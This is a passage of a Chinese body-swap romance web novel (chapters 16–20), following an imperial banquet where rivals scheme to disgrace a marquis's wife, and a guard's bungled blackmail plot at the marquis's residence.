他伸出手,指向眼前的这位打扮怪异的定远侯:“你说你是世子殿下?” 温珣:“嗯。” 何老眼里带着狐疑,指着眼前的女子:“你是二公子?” 温越:“对,何老,是我。” 何老抿着唇,干笑了声,手指移向榻上之人:“那他呢?” 温越接话:“自然是夫人了。”他站起身来,手按在老大夫的肩膀上拍了拍:“何老,你都问了三遍了。” “夫人夫人,这可使不得,使不得。” 温越一愣,才意识到这是沈溪言的身体。 温珣眉头轻皱,躬身一揖:“何老,我的事没什么解释的,逸之与阿言互换身体这件事确实离奇,可事已至此,还请您瞧瞧,有无换回来的法子。” 身旁的女子点头如捣蒜。 他看这眼前二人真挚的眸子,突然点了点头: “好吧,老朽信这件事。” “何老,你这是真信假信,方才还一副我两骗你的样子。” 何老摸了摸他并不算长的胡须:“老朽信了,二公子没有世子殿下这般有礼貌,夫人也不会如此不拘小节。” 这是在说他无礼。 温越瞪着眼,正要说话,却被温珣制止,美人嗔怒,本是观感极佳的事,在温珣眼里,却有点嫌弃。 何老先替三人处理了外伤,温珣胸口为了刺杀的以假乱真,也确确实实挨了一下,不过是三人之中伤势最轻的。 包扎完毕之后,何老替床上的‘温越’把脉,起初看伤势不重,有些漫不经心,随着指腹的跳动,不禁心头大骇:“活久见,真是活久见。” “脉象虚浮,细若游丝,如风中残烛,仿佛下一秒就要熄灭,因此外伤并无大碍,人却久久未醒。” 他转头搭在了‘沈溪言’洁白的腕上,温珣回来了,他改了口,不再称温越侯爷:“二公子,得罪了。” “沉稳有力,如磐石走珠,虽有些失血过多后的征兆,可胜在底子尚好。” 何老收了手,啧啧两声,冲两人道:“这件事虽离奇,可若夫人身上的伤自己扛了,又在这寒冷冬夜里失了一夜的血,恐怕早就香消玉殒了。” “眼下这一换,反而生生抑制住了消亡的趋势,因祸得福,保住了性命。” 第16章 宁五小姐 第十六章 宁五小姐 听到这话,兄弟二人双双松了口气。 温越:“敢问何老,夫人何时能醒?” “短则三日,”何老顿了顿:“多则几年,没个定数,只是昏迷的时间越久,于她的记忆损伤就越大,说不好醒来谁都忘了。” “……只要能醒来,这些都无事。” “没错。” 温珣又道:“那何时能换回来?” “这件事老朽无能为力。” 两人瞬间失落,他又话锋一转:“可老朽知道谁能治。” “何人?” “老朽年轻的时候有个师姐,后修习巫术被师傅认为是邪魔外道,逐出师门,此事或许她有解法。” “那您的这位师姐,现在身在何处?” “云游四海,不知所踪。” “不过,老朽与侯府的三年之期已满,近日正打算远游,不妨替几位寻一寻人。” “如此,便多谢何老了。” 何老走后,温珣望着桌上那封印着金色凤纹的邀贴,陷入沉思:“半月之后若你两还未换回来,这帖子寻个由头退了罢了。” 温越下意识摇摇头,扯动了脖颈的伤,疼的呲牙咧嘴;“……不可。” 他不敢再动弹,梗着脖子:“上午遇刺的消息刚传出去,下午公主府的帖子就来了,这其中必有联系,正好借着此事,刺探虚实。” 温珣还有些犹豫,却听见温越一脸不在乎道:“哥,若真是她去,才是担心,我反而没事。” …… 大长公主明懿是先帝嫡长女,因长相酷似生母备受宠爱,不光封地是江南最富庶的澜沧郡,每年食邑近五千户,是其他公主的数倍,更管着水乡渔业和丝绸织造。 同时,还拥有京都最奢华的行宫别院,赏赐的宅子和府邸无数。 只可惜身为女子,还是当今圣上的亲姐姐,若她是男儿身,恐怕如今的皇位也轮不到当今圣上坐。 转眼到了半月之后,东郊公主别院,今日权贵云集。 整座别院被掩在银装素裹之下,这里与小梅岗不同,入目是红墙黄瓦,远眺而去,飞檐峭台,楼可摘星,尽显皇家气派。 温越顶着沈溪言的身体赴宴。 刚从马车上下来,还没来得及感叹这美景,一捧夹杂着冰碴的冷雪就劈头盖脸地扑面而来。 温越被浇地一激灵,他身上那件名贵的狐裘斗篷沾满了雪渍,还有几丝凉雪顺着领口渗了进去。 温越眸色一沉,这件斗篷是阿言喜欢的。 榴花一惊:“夫人,您没事吧!” 温越眼神锋利,薄唇紧抿成一条直线,早知是鸿门宴,做了心理准备,还是不免怒上心头。 幸好今日是他来。 他正要开口,下一秒,那婢女惊慌失措地跪倒在雪地里。 “奴婢知错,奴婢有眼无珠,冒犯了夫人,奴婢该死。” 她穿的单薄,一边磕头请罪,一边狠狠地抽打自己的脸颊,没一会,脸颊就肿了起来,双手也冻的通红。 周遭渐渐安静下来,聚在这边的目光越来越多。 今日来的都是三品以上官员家的女眷,温越打量四周,似乎有几个眼熟的。 左相嫡女陆绾绾身着藕荷苏绣斗篷,站在廊下,在众贵女的簇拥中,率先开口,:“这也太可怜了……” 众人闻言,纷纷侧目。 有几人接话: “是啊,不过是无心之失,何必如此计较?” 陆绾绾压低声音:“你不知道,如今定北侯可是圣上眼前的红人,她难免嚣张跋扈一些。” “这侯府新妇,长得倒是娇花一般的美人,怎地心思如此歹毒?” “也不看看这是什么地方,真是失了大家风范……” 温越嘴角泛起冷笑,瞬间明白了背后之人的意图,这是要坏了阿言的名声。 榴花一脸焦急,拽了拽他的衣袖,果然再次被轻轻躲开,不知是不是她的错觉,夫人这几日总是不喜她的触碰:“夫人,现在怎么办?” 温越慢条斯理地抹了一把脸上的雪水,拍了拍斗篷。 他在战场上见多了尔虞我诈,这些小女子之间的把戏,他根本不放在眼里。 若换做是他,一脚踹飞了事。 可这是沈溪言的身体,他得顾忌着阿言的名声。 他脱下自己的斗篷,在众人探究的目光下,将其披在了面前正跪的女子身上:“榴花,还不扶这位姑娘起来?” 可惜了这件斗篷,他日后在给阿言做几件新的。 柳花一愣,连忙上前。 柔软温暖的狐狸毛领裹上脖子,那侍女身体猛然一抖,立刻推开沈溪言的手,主子安排的任务没有完成,她怎能遂了侯夫人的意。 可她还没碰到对方,就见那柔弱娇美的夫人一脸惊恐,往后栽去,幸亏被身后的侍女堪堪扶住。 榴花一脸后怕,斥责道:“你这丫头,也太毛手毛脚了,夫人大度,不计较你方才的冒失,看你穿的单薄,本是好意,你怎能推夫人?” 那侍女一脸莫名其妙:“我没……” 温越适时掩唇轻咳了几声:“好了,榴花。” 抬手间,他故意露出脖颈的旧伤:“这位姑娘想必是嫌弃这件被雪泼脏的斗篷,也怪我考虑不周了,这湿斗篷确实不能穿了。” “瞧这大雪天的,冻坏了可怎么是好,去将马车里那件备用的干净斗篷拿来,赠与这位姑娘吧。” 那侍女呆呆地望着主仆二人表演,狐裘斗篷本就厚实,她那一捧雪也就沾了点在外面,怎就湿透了? 人群中有人反应过来。 “好像是啊,这贱婢若是弄脏了我新做的衣裳,我顶不饶她!” “侯夫人前几日还伤了,我瞧那伤还没好呢,可受不得风寒。” “莫不是故意的,这路这么宽,她偏巧就去那扫雪。” 陆绾绾见众人改了态度,一时急道:“谁没有犯错的时候,不论如何,也得宽恕她啊……” 话音未落,就被一道凌厉清亮的女声打断:“我瞧分明是沈家姐姐受了委屈,有人怎么还维护起那不知好歹的下人了?” 下一刻,只见一手持长枪,身穿白色银甲,发髻高束,英姿飒爽的女子策马而来,在别院门口勒马停住,扬起一片雪雾。 她利落地翻身下马,拍了拍衣角的落雪,冲人最多的地方高喊道:“哎,我记得去年的时候,谁家的婢女倒茶的时候,失手把小姐新做的衣裙泼脏了,就被那小姐把手都打断了,闹得京城人尽皆知。” “有的人这会到是大度起来了。” 陆绾绾抬袖挡了挡扬起的雪沫,见人群中几人朝自己脸上瞅,脸色涨红。 那英气女子继续道:“我看这位夫人,真是心地善良,比之有些人的做法,真像是天上下来的菩萨,送了斗篷还不行?还要怎么宽恕这不知天高地厚的婢子?” 陆绾绾喉咙里像是塞了棉花,吐不出,咽不下,张口了就等于承认了她说的是自己。 可要她默不作声咽下这口气,她也做不到,她看了一眼宁素儿的装扮,好像抓住了把柄,颇为嫌弃道:“宁小姐,这可是公主府的正宴,你穿成这样来,是否失了礼数?” “呦,这不是陆小姐吗?”宁素儿仿佛才看到她似的:“我当谁家的狗在这乱吠呢。” 不等对方发作,她挑了挑眉:“我抗冻,怎就失礼了?哪像陆小姐,当街抢男人,最重要的是,那男人还瞧不上你。” 周围传来压抑的哄笑。 “前几日的事儿,原来说的就是她?” “传言不假啊……” 陆绾绾面色涨成紫红色,眼神如刀:“宁素儿!你胡说什么?!” 第17章 当街抢男人 第十七章 当街抢男人 “怎么?陆小姐敢做不敢当啊?” “你!” 眼看两人就要打起来,,一个衣着光鲜的老嬷嬷快步走来,眼里满是精明,笑着打圆场:“哎哟,各位夫人小姐,都在门口站着做什么,公主和郡主都在等着诸位呢,快随老奴进去吧。” 陆绾绾立刻恢复了端庄娴静的模样,眼角微红,委屈道:“陈嬷嬷。” 陈嬷嬷握住陆绾绾的手,眼含威胁:“陆小姐,郡主念叨你好几次了,快走吧。” “……是。” 她被拉走之前还不忘剜了温越与宁素儿一眼。 见二人一副满不在意的模样,气得五官扭曲,被陈嬷嬷拽了一把,才冷哼一声,转身离去。 温越将几人的小动作尽收眼底,正琢磨着,双手突然被女子微凉的手指牵住。 “沈家姐姐,你可有事?” 他抬眸,只见比自己高了半个头的宁素儿正一脸担忧地望着自己。 “你别怕,今日有我在,没有人能欺负你。” 他甚少有过这样的视角,颇不自在,退了半步,默不作声地把手从女子手中抽了出来:“多谢宁小姐。” “怎地成婚之后还生分了,还叫我素儿就好,可是怨我这几日没去探望你?我去了几次,都被门房告知,你家侯爷吩咐了,侯府闭门谢客。” 温越怎能不知,这命令便是他下的。 不逼急了背后之人,怎么在今日让其露出马脚。 “……怎么会,多谢……素儿妹妹,我没事。” 宁素儿这次满意一笑:“走,我们一起进去。” 温越被女子挽着胳膊,浑身不自在,强忍着才没甩开对方,总不能做的太过,否则等和阿言换回来,让她在京城中没了朋友。 宁素儿是怀化大将军宁远的嫡女,比沈溪言小半岁,她与沈溪言的兄长沈行曾议过亲。 不知后来出了什么事,最终两家的亲事没成,二人现在男未婚女未嫁,绝口不提当年之事。 她上头还有两个庶兄一个庶姐,前几日偶尔听起榴花与几个大丫鬟谈论,听说宁家又寻回一个私生子,宁素儿又多了一个哥哥,由四小姐成功变为五小姐。 温越对这些男欢女爱的绯闻本不甚在意,听宁素儿与陆绾绾的方才似乎话中有话,才起了疑问:“素儿,你方才说陆绾绾强掳男子,是何意?” “你不知道?” 她看到沈溪言略显苍白的脸色,了然道:“前几日你在养伤,怪不得不知晓。” 宁素儿叹了口气,满眼无奈:“哎,还不是我家那个老头子,年轻的时候处处留情,前几日不知从哪又冒出来一个儿子。” “听说他娘当年是扬州有名的花魁,名叫窈娘,与老头子一夜露水情缘便失踪了。” “后来扬州闹了水患,死了数十万人,老头子觉得窈娘应当死了,也不找了,才回京娶了我母亲。” “那天老头子下朝回来,正遇见一年轻男子正被几人拉扯着,说是左相小姐‘请’他吃茶,那男子显然不愿,被相府的下人押着,脸上还挂了伤。” “看到我家的马车,也不知哪来的力气,挣脱了束缚跪拦了马车,求老爷子救他一命,闹得甚是难看,老爷子不能不管。” “掀开车帘,一眼就认出,这年轻男子腰里挂着他当年给窈娘的定情玉佩,再一看那张脸,与十八年前的窈娘有十足十的像,他认定是自己多年前欠下的情债,硬是不顾反对将人接回了府。” 若只是身无背景的俊俏公子,被宰相嫡女‘请’回府根本无人在意。 可偏偏他的便宜爹是正三品的怀化大将军,也是命好,恰好遇上被救。 宁老将军是个不懂人情事故的主儿,直接在早朝的时候将此事捅了出来,说左相的好女儿随意折辱官员儿子,势必要让圣上给他一个交代。 他不要脸面,左相可要脸面。 两人本就政见不同,争锋相对多年,闹出这事,左相光是赔礼道歉不说,还搭上了自己在上京的几处私宅,才让宁老将军松了口。 温越暗暗咂舌,这陆绾绾才被关了半月禁闭,刚出来就又开始生事。 还有宁素儿,胆量惊人,私生子这事毕竟不是什么光彩的事,她敢在众人面前捅破这层窗户纸,只为呛一句陆绾绾。 伤敌一千自损八百,哎,罢了,毕竟是为了阿言出头。 思索了片刻,温越得出一个结论。 此人虽蠢,但可交。 “沈姐姐,别那样看着我,你不必同情我,我爹就是那样的德行,我早就不在意了。” “不就是多了个‘四哥’嘛,娶我母亲之前,我爹也早有妾室,没什么的。” 温越欲言又止,最终还是收回目光,点了点头。 “哎,说实话,我竟觉得沈姐姐和我那四哥眉眼之间还有几分相似呢,好像你两生辰也都在6月,可不是有缘。” 温越看着对方,突然觉得连眨眼都多余。 “妹妹还没吃酒,这就醉了。” 宁素儿尴尬一笑:“我瞎说呢,姐姐勿怪,都怪四哥容貌太过突出,若为女子,定和姐姐一样貌美,也难怪陆绾绾那个女色狼失态至此。” 还未行至正厅,两人便被一个面生的嬷嬷拦住了去路:“想必这位便是定北侯夫人了。” “长公主得知方才的事,特意替夫人准备了替换的衣裳,夫人受惊了,奴婢带您去厢房换身干爽的衣服。” “那便有劳了。” 温越拒绝了宁素儿的陪同,若她跟着,岂不辜负某些人的算计。 他瞅见那嬷嬷眼里一闪而过的得意,勾唇一笑,漫不经心得跟在后头。 到了厢房,那嬷嬷命侍女捧来衣物:“这是公主特意为夫人准备的,这颜色很衬夫人的肤色。” 说完她便恭敬退下。 温越屏退众人,只留榴花一人。 他扫了一眼那衣裳,凤鸟花卉织金的上袄,配上一条云烟粉的裙子,外套是一件藕荷貂毛斗篷,还贴心地准备了一条同色系的昭君套。 布料华贵,甚至还熏过了香。 温越那件上袄拿来起,放在鼻尖,浓郁的熏香涌入鼻尖,可若仔细闻,针脚处缝合处隐约透着一股发霉般的怪味。 榴花屏住呼吸:“夫人,这衣服可有不妥?” “缝衣服的棉线是在酥油中泡过的,一遇热便会断裂。” “啊?那岂不是……”榴花一瞬间也想到了后果,脸上褪去血色:“究竟是什么人,三番五次地要害您?” 若非在军中待过,温越也不能分辨。 之前有将士家中贫寒,用不小心浸过油的灯绳缝补衣物。结果冬日进了暖和的营帐里,瞬间裂开,那将士闹了个大红脸。 帐篷里都是男人,此事一笑也就罢了。 可如今,他们这算盘打真响,是想让阿言当众衣不蔽体,身败名裂。 想到此,温越心头那股怒火便翻涌直上。 他给榴花一个眼神:“我让你准备的东西带了吗?” 第18章 竟然是及笄宴 第十八章 竟然是及笄宴 半炷香的时间,房门被推开,门口的丫鬟见温越换上了准备的斗篷,神色难掩得意,催促道:“夫人,随奴婢去正厅吧。” 殿内奢华无比,白玉铺地,宝石为灯,上等的银丝炭烧得火热,室内温暖如春。 一踏入正厅,温越才知今日这局阵仗之大。 满座皆是京中权贵,坐在首位的是当朝大长公主明懿,岁月似乎格外偏爱美人,年近五十,却一点不见时间流逝的痕迹,雍容华贵,端庄与威严并存。 公主的身侧是一名娇俏明艳的少女,她身着鹅黄百蝶穿花小袄,百褶如意裙的裙角翻飞,走动间如一朵盛开的莲花,正被众星捧月般围在中央。 殿内男女分席而坐,女眷在右,男子在左,为了避嫌,男子面前还遮挡了屏风。 温越望去,一眼就看见了几位年长的朝廷命妇。 其中还有几位德高望重的老夫人,尤其是英国公老夫人,她与当年的仁肃皇贵妃是亲姐妹,也就是大长公主与当今圣上的亲姨母。 屏风后,隐约看见几位气度不凡,衣着华贵的男子。 温越觉得气氛奇怪,单单赏梅宴,不该有如此规格。 转头瞅见已经落座的宁素儿正在使劲向他眨眼,示意他看高座之上。 他不明所以,索性坐在了宁素儿旁边:“素儿,那个女子是何人?” 宁素儿一脸激动:“方才你没到,这就是大长公主唯一的女儿,昭阳郡主,前些日子才从澜沧郡接回来,就是为了今日的及笄礼呢。” 她突然压低声音:“澜沧郡与京都相距几百里,我说呢,公主不辞辛苦,年年都要去那边小住一段时间,想必就是看这个小女儿了。” “及笄礼?” 温越抓住重点,目光略带迟疑,眼神中有一闪而过的惊诧。 “对呀,从前听闻公主早些年小产伤了身子,与子嗣无缘了,算算这位郡主的年纪,公主应当是快四十才得了个女儿,难怪如此宠爱。” 原来是这样。 传言大长公主的驸马出身梁郡魏氏,在二十多年前是赫赫有名的世家大族,在高祖时,魏家先祖曾官拜宰相,辅佐了三代帝王。 到了这一辈,虽有所没落,但也算得上是清流的读书人家,魏公子当年与微服出巡的公主一见钟情,两人情投意合,得先帝赐婚,曾传为一段佳话。 可好景不长,成婚不久,就出了事,公主意外流产,驸马痛心不已,还亲自去朝觉寺为公主和腹中早逝的胎儿祈福。 第三年的时候,先帝便病倒了,那时京中不太平,公主一家便去了封地,直至当今圣上继位,公主才重返京都。 这数十年,魏家仅存的几名在朝的子弟,不知为何屡屡犯错,遭到贬斥,最近一次竟然犯下抄家灭族的大罪,驸马因公主的原因,才得以保全性命。 魏家灭族之后,驸马便立誓此生不再踏入京都半步,自那以后,一病不起。 温越总觉得这其中有事,可一时又摸不到头绪。 他低头向榴花身后的一冷面侍女低声耳语几句,此女名唤映叶,是一名武婢,自从小梅岗遇险之后,就将她派去贴身保护沈溪言,平日里不常见于人前。 今日也是以防万一,才将映叶带在身边。 见映叶悄无声息地退下后,温越的嘴角泛起冷笑,他端起面前的茶盏,轻抿了一口。 宁素儿见温越脸色不好,安慰道:“今日来的贵人多,我们就安安静静的吃茶赏梅便好。” “但愿如此。” 请帖上的消息都是错的,半月以来,无一丝消息透露出,今日并非寻常的赏梅宴,而是郡主的及笄礼,可见是有心人故意为之。 若没猜错,那人决不允许他在这安安静静的吃茶赏梅,一会就要来找事了。 果然,一盏茶还没见底,昭阳郡主就走到了温越面前。 少女容色艳丽,眉眼间却带着骄纵:“你就是含章哥哥娶的新妇?” 她眼神中带着审视,极为不善的目光上下打量了一番:“都说沈家女姿容艳冠京城,我瞅着活脱脱就是个病秧子,含章哥哥到底喜欢你什么?” 原来是兄长惹下的烂桃花。 温越心里暗骂一声,那句‘与你何干?’还未出口,就被打断。 “昭阳,不得无理。”大长公主斥责一句,可那语气里全是宠溺。 “这就是沈氏吧,昭阳从小被本宫骄纵惯了,你不要同她计较。” “你不顾自身安危,忠勇护夫的举动早就传遍了京都,没想到竟是这样娇滴滴的一个女子,可为京中贵女表率。” 昭阳郡主是上月才接回上京的,也没养在大长公主身边,听到这明显维护的话,温越哪还有不懂的。 “殿下言重了……” 一礼还未行完,少女立即插嘴:“沈家姐姐是吧,既来了,便把斗篷解了,屋里暖和,别闷坏了。” 温越心下了然,原来门口那一出是她的主意,这母女两一人唱红脸一人唱白脸,真是有趣。 宁素儿见温越皱眉沉思,意识到事情不对:“沈姐姐前些时日受了伤,畏寒,郡主就允她在殿内也披着斗篷吧。” 见有人阻拦,昭阳心中更是得意,似笑非笑道:“这位姐姐,你这段话说的不对,母亲的行宫别院,殿内岂会让来的宾客受了寒,传出去岂不是闹了笑话。” “难不成,这位姐姐是不满意我母亲今日的安排吗?” “你休要歪曲事实!” 温越一把按住宁素儿,字字珠玑:“郡主误会了,怀化大将军的独女,宣威将军和御史中丞两位大人的亲妹,荥阳郑氏的外孙女,您眼前的这位宁素儿,宁五小姐,绝无此意。” 昭阳如鲠在喉,将军府什么的她都不放在眼里,就算宁苏儿的两位庶兄年少有为,也不过算是四五品的小官。 可听到荥阳郑氏,士族百年传承,根基深厚,比起当年如日中天的魏家有过之无不及,她再不满意宁素儿,有这样背景的外租家,她到底不敢太撕破脸。 看着宁素儿快要扬到天上去的下巴,昭阳一时语塞:“你!” “昭阳,说什么呢?快到母亲身边来。”大长公主冲女儿招了招手。 少女眼里闪过狠厉,冲温越压低声音道:“你别得意,既然你要找死,我便成全你。” 她转身奔向公主,扑进其怀里:“母亲,女儿正想呢,今日是女儿的生辰,来的都是自家人,也不用如此讲究了,不如让下人撤掉屏风,女儿也许久未见太子哥哥和几位表兄了。” “好好好,既如此,就撤掉屏风吧。” 下人的动作很快,温越看到对面,除了为首的太子,五皇子齐王、六皇子肃王,还有几位亲王世子都来了。 昭阳懒洋洋地趴在母亲的膝上:“母亲,在吩咐人多添些炭火吧,您看定北侯夫人还穿着斗篷呢,一定是还觉得冷。” 公主怜爱地摸着她的头发:“哦?”抬眼望去,只见温越将自己裹的紧实:“沈氏,你可是怕冷?在殿内还是将斗篷解了,否则一会儿出去怕是要着凉。” 她挥挥手:“都怎么做事的,来人,快去给定北侯夫人再添几个手炉和炭盆。” 东西放下,温越顿时感觉到四周传来股股热浪,灼热的气息熏得他脸颊泛红。 昭阳不仅是要他在所有人面前失礼,在如此多的男子面前,衣不蔽体,她要的是阿言的命。 这仇,他温越记住了。 大长公主又如何,她若敢阻拦,连她一起收拾。 在众人或担忧或迟疑或看戏的目光中,他缓缓解开斗篷。 第19章 侯夫人偷人 第十九章 侯夫人偷人 柔软的狐裘斗篷顺肩滑落。 殿内落针可闻,有人情不自禁发出惊艳的吸气声。 只见女子身着云烟粉织金上袄,绯色云纹蜀地长裙曳地,殿内烛光跳跃,更衬的美人粉腮白肤,眼如琉璃。 除了外面披的那件斗篷,皆不是公主府备下的衣裳。 温越心里得意,昭阳要找事,他偏不遂了她的意,抢了某人的风头何其简单。 阿言的美貌他是知晓的。 可察觉到对面几道惊艳沉醉的目光,他的脸色又暗了下去。 该死的。 “人靠衣服马靠鞍,方才还没察觉,如今一瞧,沈氏确实貌美。” “孤看,当得起‘上京第一美人’的称号。” “太子殿下所言甚是……” “温侯好福气啊……” “怎么会!”昭阳从公主膝盖上窜了起来,面色难看。 “昭阳,怎么了?” 对上温越波澜不惊的眸子,昭阳眼中闪过一丝惊疑,随即化为更深的厌恶。 “……女儿没事。” 昭阳强压下怒气,狠狠地挖了一眼身旁知情的嬷嬷,那嬷嬷垂着头,大气都不敢出,噤若寒蝉。 转过头又是那个天真无邪的少女:“女儿有幸得太子哥哥和几位表兄赏脸来我的及笄礼,有些好奇,大家都送了什么生辰礼呀。” 她摇晃着公主的衣袖撒娇:“哎呀,母亲,快些进行仪式吧,女儿都迫不及待要和大家一起看看了。” 背过身,她向陆绾绾使了个眼色,后者立刻附和起来:“是啊是啊,郡主方才归京,大家定然十分重视,不会拿一些随便的物件来凑数的。” 说话间,眼神有意无意地往温越这边撇。 可温越恍若未闻,陆绾绾咬咬牙:“你说是吗?侯夫人?” 温越依旧不理她,转身同宁素儿说了什么,两人捂嘴偷笑。 “沈溪言,我同你说话呢!你故意不搭理我是吗?” 温越一脸无辜:“陆小姐是在唤我吗?今日赴宴的有勇毅侯夫人,镇国侯夫人,还有其他几位侯夫人,我怎知陆小姐是在唤我?” 突然被点名的几位夫人满脸茫然,看看温越,又看看陆绾绾。 温越举止得体,不卑不亢,到显得气的五官都扭曲的陆绾绾像个跳梁小丑。 她脸色青一阵白一阵:“……一会献礼,你最好别拿头上的簪子充数。” 蠢货。 温越心里暗骂一句。 没想到这些平日里在男子面前矫揉造作的女子,针对起同性来,手段竟然如此歹毒。 …… 此时正是午后,侯府后院一片寂静,侯爷夫人都不在,下人们也有空偷偷懒。 兰苑院门口,两名侍卫正窝在廊下晒太阳。 今日正巧是赵六轮值,这几日他连轴转,心里早已憋了一肚子火。 他拉过一旁正在打盹的李云崖,眼神滴溜溜转,环视一圈,见众人都在躲懒,压低声音道:“李兄,我告诉你一个发财的法子,你可千万别往外说。” 李云崖瞬间来了精神,满脸谄媚:“赵哥!你是我亲哥,什么法子?” 赵六不放心地又四处张望了一番,才神神秘秘地开口:“你可听好了,咱们这位侯夫人啊,她偷人。” 李云崖吓的一把捂住赵六的嘴,急道:“赵哥,你可是吃醉酒了,在胡言乱语什么?污蔑夫人可是要掉脑袋的。”他惊慌不已,完全是一副胆小怕事的样子。 “怕什么!”赵六一把拉开他的手,那双绿豆眼里泛着精明的光:“你先听我说,你知道为何这几日侯爷一直板着脸,还把正院封的严严实实的吗?” “为何?” “我告诉你,是因为那贱人偷人被抓了个现行,现如今,那奸夫还在床上养着呢!” 赵六说的起劲,没发现李云崖的眼神已经有些变了:“哦?赵哥,如此辛密,你又是怎么知道的?” “你甭管我怎么知道的。” “啧,你怎么就是不信。”赵六以为是在质疑他。 脸上闪过不耐烦:“我问你,这几日,你可见侯爷与沈氏同房?” 李云崖沉思片刻,摇了摇头:“确实没有。” 得到了认可,赵六激动的一拍大腿:“这就对了,而且侯爷看沈氏那眼神,你未经人事,你不懂,反正我看花满楼里的柔娘可不是那眼神,反正不是男人看女人的眼神。” 李云崖的眼神越来越冷,原来是这出了纰漏:“所以这和你方才说的发财有什么关系?” “嘶,好端端的怎么有些瘆得慌。”赵六搓了搓后脖颈:“你想啊,这种事情侯爷都能忍,这奸夫一定拿住了侯爷的什么把柄,侯爷处理不了他,那贱妇才能拼死护着他。” “有好几次,侯爷不在,我见那贱妇红着眼出来,侯爷好好的,日日去军营操练,那你说,她还能为谁掉眼泪?” “我看啊,照如今这情况,侯爷迟早休了那贱人。” “那,你想如何?”李云崖的眼神中此刻已经带了些怜悯,可惜了,此人够心细,可没用对地方。 赵六有些恨铁不成钢:“你怎么是个榆木脑袋!” 他一时没控制住声音,立刻意识到,急忙捂住嘴,环顾四周见无异样,才搂住李云崖的脖子,压低身体,两人的头凑在一起:“侯爷和沈氏一定想不到你我已经察觉了真相。” “嗯。” “我们趁着这事还没人知道,去和那个奸夫交涉,狠狠敲诈一笔啊!” “嗯?” 赵六仿佛已经看到了金银珠宝在向他招手:“你想,他和侯府的夫人偷情,本就是丑闻,这要传出去了,他还有命活吗?” “呵,我觉得你快没命活了……” “哎,瞎说什么,我又没真想传出去。” 赵六一脸信誓旦旦:“我找了个好时机!今日侯爷不在,那娘们又去赴宴了,此时房内就那奸夫一人,又正好是你我当值,正是绝佳的时机,此时不去,更待何时?” 他自信的拍拍胸脯:“走,哥带你发大财,去不去?” 见李云崖一副欲言又止的模样,他表情突变,‘唰’地一声将腰间的长剑拔出半截,恶狠狠道:“如今我已经和你撂了底,你小子不去也得去,别忘了,你家中的老母还等着救命钱呢,我可是为了你好。” 李云崖面上适时地露出惊恐的表情,心里一阵惋惜,既然赵六偏要寻思,那他就成全他。 “好!我去,我娘还等着救命钱呢,我同你一起去。” “好兄弟!” 李云崖在心里叹了口气,他们身为暗卫,自小被侯府收养,哪还有父母双亲,不过编来哄人的罢了。 第20章 猜的很对,下辈子别猜了 第二十章 猜的很对,下辈子别猜了 打发了主屋门口的两名侍卫,两人一前一后鬼鬼祟祟的进了屋。 李云崖全程跟在赵六身后,不断给同伴使眼色,示意放行,在前面的赵六已经被近在眼前的财富冲昏了脑袋,毫无思考能力。 蹑手蹑脚的进了屋,一股浓郁的药味扑面而来。 屋内装饰的极为奢华,赵六看的眼里冒光,直流口水,今日过后,指不定他也能住上这样的大宅子了。 “这贱人真会享受,把这么好的屋子让出来给情夫住,温珣也是个软骨头,绿帽都戴到头上了,还怂成这样,真不知道如何上战场杀敌,怕不是吹出来的功绩……” 他一边骂骂咧咧,一边轻手轻脚地靠近床榻,只见层层帷幔之后,隐约躺着一个人,那人身量修长,一看就是个男子! 赵六心中狂喜,紧张的手心冒汗,转头对身后是李云崖挤眉弄眼:“你看,我猜的没错吧,我就说我的直觉没错!” 猜? 李云崖嘴角抽了抽。 猜的很对,下辈子别猜了。 房梁之上,一道身影藏于暗处,瞅见李云崖的手势,按兵不动。 南枢手里把玩着一柄锋利的短刀,打了个呵欠,想着李云崖今日怎么放进来了这么一个不知死活的蠢货。 明明可以一刀解决的事情,何必这么麻烦。 他听命于温越,李云崖这个蠢蛋听命于世子,简直和他那个主子一模一样,循规蹈矩,没有实证之前绝不动手。 他的目光向下,只见赵六一脸计谋得逞的奸笑,他用长剑挑开柔软的纱帐,准备来个先礼后兵。 “好一对奸夫……” 声音戛然而止,下一刻,赵六整个人就如同被点穴了一般僵在原地。 身后传来李云崖不咸不淡的声音:“怎么了?” 赵六的额头冒出大颗汗珠,眼睛张大,眉毛挤在了一起,颤抖着嘴唇:“侯……侯……侯爷?” 下一秒,男人的身子如一摊烂肉似得瘫软成一坨,手中的长剑‘哐当’一声落地,他抖如筛糠,还在不停叩头求饶:“侯……侯爷饶命,侯爷饶命!” 李云崖正奇怪呢,倏然对上床上那人睁开的眸子。 “夫……侯……您醒了!” 他不知如何称呼,本来看好戏的神情瞬间收敛,不敢再玩笑,梁上的那道黑影也跳了下来,两人瞬间将赵六反手按住,跪地垂头,不敢乱看一眼。 “此人意图行刺,属下来迟,还请赎罪。” 赵六吓得魂飞魄散,根本没注意屋内何时多了一个人,只是望着沈溪言,嘴里一直念着“侯爷饶命,饶命。” 沈溪言有些迷茫的坐起身,没有理会榻前的三人,身体感觉沉重地不像自己的,她下意识摸了摸自己的脸,可手掌粗粝厚重,虎口处还磨出了茧。 低头望去,是个男人的手。 她心中一惊,不顾外男在场,掀开被子下了床榻,赤着脚跑到铜镜前。 铜镜光亮,映照出一张剑眉星目,英武不凡的面孔,正是自己的夫君,年轻的定北侯温珣。 沈溪月看着镜中的自己,手指下意识抚摸过耳后,有些刺痛,侧了侧脸颊,才看到那快新长出的皮肉泛着淡淡的粉色。 似乎有什么东西从脑中一闪而逝,快的让人抓不住。 李云崖与南枢看到‘侯爷’如此奇怪的举动,互相交换了一个肯定的眼神,不敢贸然出声。 沈溪言转头望向两人,声音平静:“从现在开始,我问,你们答。” “是,属下不敢欺骗,您尽管问。” 一炷香功夫后,沈溪言大体了解了事情的始末。 大致情况就是,有刺客来刺杀,夫君和她都受了伤,这次的意外让她与夫君意外互换了身体。 沈溪言知此事离奇,况且还有外人在,不能宣之于口,因此三人话说的都很含糊。 赵六听了个七七八八,只听懂了两人遇刺受伤的事,冷静下来,他突然开窍了一般,大喊:“不对!你敢假冒侯爷!” 南枢一拳挥过去:“闭嘴,主子面前在还敢放肆。” 沈溪言冷冷地向下扫了一眼,赵六只觉得一道带着威压与寒意的目光压过来,让他不敢与其直视。 可他还是抖着嘴唇开口:“不……不对,照他两说的,那这些时日在外的那个侯爷是谁?” 李云崖眼神一冷,向沈溪言请示:‘要灭口吗?’ 沈溪言看懂了他的意思,摇摇头:“你怎知我就是假的,若我说外面的那个才是假的呢?” 这很好推测,她在昏迷,那外界定需要一个‘定北侯’掩人耳目,所以她丝毫未起疑。 赵六愣住,是啊,侯爷重伤昏迷,找人先扮作侯爷出入在公众场合,这种事情太常见了。 